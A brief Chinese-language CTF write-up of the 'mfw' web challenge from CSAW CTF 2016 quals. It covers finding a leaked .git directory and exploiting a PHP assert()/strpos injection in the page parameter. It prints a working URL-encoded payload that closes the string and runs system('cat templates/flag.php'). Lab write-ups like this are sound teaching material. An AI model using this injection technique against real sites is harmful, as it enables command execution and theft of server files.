攻防世界-Web萌新-csaw-ctf-2016-quals-mfw(.git泄露、php语句闭合)

打开网页,日常扫描,发现git泄露:
攻防世界-Web萌新-csaw-ctf-2016-quals-mfw(.git泄露、php语句闭合)_第1张图片

 git工具下载相关文件(git工具自行百度):
攻防世界-Web萌新-csaw-ctf-2016-quals-mfw(.git泄露、php语句闭合)_第2张图片

然而flag.php的内容是这样的没什么用,想着也不会这么简单:
攻防世界-Web萌新-csaw-ctf-2016-quals-mfw(.git泄露、php语句闭合)_第3张图片

网页源码有这一段:
攻防世界-Web萌新-csaw-ctf-2016-quals-mfw(.git泄露、php语句闭合)_第4张图片

 说明flag应该就在flag.php中,再看看index.php,主要是这一部分:
 

assert — 检查一个断言是否为 FALSE,如果是false,返回1,否则返回0 ,既然file和我们的输入有关,而且又在strops函数之中,来个闭合绕过:
构造  about.php', '123') === false and system('cat templates/flag.php') and strpos('templates/flag,这样就可以看到flag.php的内容了,urlencode之后传参:
/?page=about.php%27%2c+%27123%27)+%3d%3d%3d+false+and+system(%27cat+templates%2fflag.php%27)+and+strpos(%27templates%2fflag

拿到flag:
攻防世界-Web萌新-csaw-ctf-2016-quals-mfw(.git泄露、php语句闭合)_第5张图片

你可能感兴趣的:(攻防世界)